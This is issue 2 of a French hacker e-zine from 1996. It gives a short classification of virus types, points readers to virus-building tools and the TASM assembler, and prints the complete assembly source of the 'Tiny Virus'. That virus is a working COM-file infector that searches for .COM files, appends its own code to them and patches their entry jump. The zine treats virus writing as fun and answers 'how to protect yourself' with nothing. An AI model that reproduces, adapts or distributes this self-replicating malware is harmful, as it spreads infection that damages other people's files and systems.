       ________________________________________________________________
      |                      > Hack 25 Magazine <                      |
      ||
      |                         ISSUE #2           >MAI   96<          |            
      || 
      | Ecrit par Kraken (bientt Deelight)          H/P/C/A/V         |
      |                 XxX-Team '96                                   |
      |________________________________________________________________|

NOTE:
Dans le numro 1, j'ai fait quelques erreurs.
Surtout  propos de CyberPhreak...
(pour l'installation).
Vous pouvez dors et dj trouver l'issue 1.1 et 1.2 rvise...
Comment ?
http://www.planete.net/~mgarcia/index.html


                            =============
                            = ISSUE   2 =
                            =============

===============[Les virus]====================================================

------> Qu'est ce qu'un virus ?

Un virus est un petit programme destin  faire chier le monde.
Mais, quand ont les collectionnent ou qu'on les programment, ca devient vite
intressant.
En fait, un virus et un fichier *.COM qui, execut, se met en mmoire et fait
des conneries...

------> Comment me protger ?

Hum...

------> Comment les programmer ?

Et bien, la mthode la plus efficace est surement la programmation via
l'assembler.
Comme vous le savez, le meilleur assembler est TASM.
Il sera bientt dispo sur notre site...
Ou bien, faites comme moi, tlcharger-le  partir d'un site virii.
C'est assez rare de la trouver, mais ya des sites qui le font...
Mais, heureusement, ya des utils qui permettent leur confection.
Vous pouvez en tlcharger sur mon site.
(http://www.planete.net/~mgarcia/index.html)
Mais le meilleur moyen, c'est l'assembler pour les pros, &
les utils pour les dbutant &/ou fnant.      .


------> Les diffrents options d'un virus...

Les compagnions
Les compagnions ont pour tches d'imiter le nom d'un programme EXE
pour, quand l'utilsateur lance le fichier EXE, le virus se lancent.
(car les fichiers COM ont la priorit...)

Les Residents (TSR)
Les virus rsidents se mettent en mmoire ds qu'on les executent.

Les Trojan Horses
Les virus trojan ne sont pas des virus...
Ce sont en fait des modules allis  un programme non infect.
Un fois le fichier cibl execut, le trojan va commencer sa tche.
La plus part des Anti-Virus ne les dtectent pas.

Les MBR
Les virus MBR sont des virus qui se mettent dans les premiers secteurs
d'un disque dur : le "boot".
Ensuite, ils peuvent dtruirent les secterus important du disque.
L'utlisateur, n'est pas cens savoir car, le virus se lancent ds le
"Dmarrage de MS-DOS...".

Les COM infector.
Mais qu'est qu'il peuvent bien faire ?

Les virus anti-virus
Les vav sont des virus qui dtruisent les anti-virus.
Soit en mmoire, soit en effacant les fichiers.

Les Turtle Speed
Les turtle spped virus sont des virus qui ralentissent le processeur.

Les "Bad Joke"
Les BJ virus sont des virus souvent sous la forme EXE.
En ralit ce ne sont pas des virus.
C'est souvent un programme qui vous posent des questions & si,
vous avez le malheur de mal rpondre, il effacera le disque dur...
(c'est un exemple).

Les Dir Stleath
Les virus de ce genre se mettent en route quand l'utilisateur tape "dir".

Les encypts
les virus encypts sont des virus assez remarquables.
Un fois lanc, ils s'encyptent pour devenir inremarquable...
La cl d'encyption varie.
Ex:
Offset  Key  Result
 05  xor B3 = 54

------> Un exemple ?

Ouais...
Voici Tiny Virus.
(TASM *recommand*)

-----------------------------T-I-N-Y----V-I-R-U-S-----------------------------------

PAGE  59,132


data_2e         equ     1ABh                    ;start of virus

seg_a           segment byte public             ;
                assume  cs:seg_a, ds:seg_a      ;assume cs, ds - code


                org     100h                    ;orgin of all COM files
s               proc    far

start:
                jmp     loc_1                   ;jump to virus


;this is a replacement for an infected file

                db      0CDh, 20h, 7, 8, 9      ;int 20h
                                                ;pop es

loc_1:
                call    sub_1                   ;



s               endp


sub_1           proc    near                    ;
                pop     si                      ;locate all virus code via
                sub     si,10Bh                 ;si, cause all offsets will
                mov     bp,data_1[si]           ;change when virus infects
                add     bp,103h                 ;a COM file
                lea     dx,[si+1A2h]            ;offset of '*.COM',0 - via SI
                xor     cx,cx                   ;clear cx - find only normal
                                                ;attributes
                mov     ah,4Eh                  ;find first file
loc_2:
                int     21h                     ;

                jc      loc_6                   ;no files found? then quit
                mov     dx,9Eh                  ;offset of filename found
                mov     ax,3D02h                ;open file for read/write access
                int     21h                     ;

                mov     bx,ax                   ;save handle into bx
                mov     ah,3Fh                  ;read from file
                lea     dx,[si+1A8h]            ;offset of save buffer
                mov     di,dx                   ;
                mov     cx,3                    ;read three bytes
                int     21h                     ;
                
                cmp     byte ptr [di],0E9h      ;compare buffer to virus id
                                                ;string
                je      loc_4                   ;
loc_3:
                mov     ah,4Fh                  ;find the next file
                jmp     short loc_2             ;and test it
loc_4:
                mov     dx,[di+1]               ;lsh of offset
                mov     data_1[si],dx           ;
                xor     cx,cx                   ;msh of offset
                mov     ax,4200h                ;set the file pointer
                int     21h                     ;

                mov     dx,di                   ;buffer to save read
                mov     cx,2                    ;read two bytes
                mov     ah,3Fh                  ;read from file
                int     21h                     ;

                cmp     word ptr [di],807h      ;compare buffer to virus id
                je      loc_3                   ;same? then find another file

;heres where we infect a file

                xor     dx,dx                   ;set file pointer
                xor     cx,cx                   ;ditto
                mov     ax,4202h                ;set file pointer
                int     21h                     ;

                cmp     dx,0                    ;returns msh
                jne     loc_3                   ;not the same? find another file
                cmp     ah,0FEh                 ;lsh = 254???
                jae     loc_3                   ;if more or equal find another file

                mov     ds:data_2e[si],ax       ;point to data
                mov     ah,40h                  ;write to file
                lea     dx,[si+105h]            ;segment:offset of write buffer
                mov     cx,0A3h                 ;write 163 bytes
                int     21h                     ;

                jc      loc_5                   ;error? then quit
                mov     ax,4200h                ;set file pointer
                xor     cx,cx                   ;to the top of the file
                mov     dx,1                    ;
                int     21h                     ;

                mov     ah,40h                  ;write to file
                lea     dx,[si+1ABh]            ;offset of jump to virus code
                mov     cx,2                    ;two bytes
                int     21h                     ;

;now close the file

loc_5:
                mov     ah,3Eh                  ;close file
                int     21h                     ;

loc_6:
                jmp     bp                      ;jump to original file

data_1          dw      0                       ;
                db      '*.COM',0               ;wild card search string


sub_1           endp
seg_a           ends
                end     start

---------------------------------------------------------------------------------------


==============[Fin de l'issue 2]===============================================

Rdig par Kraken
http://www.planete.net/~mgarcia/index.html






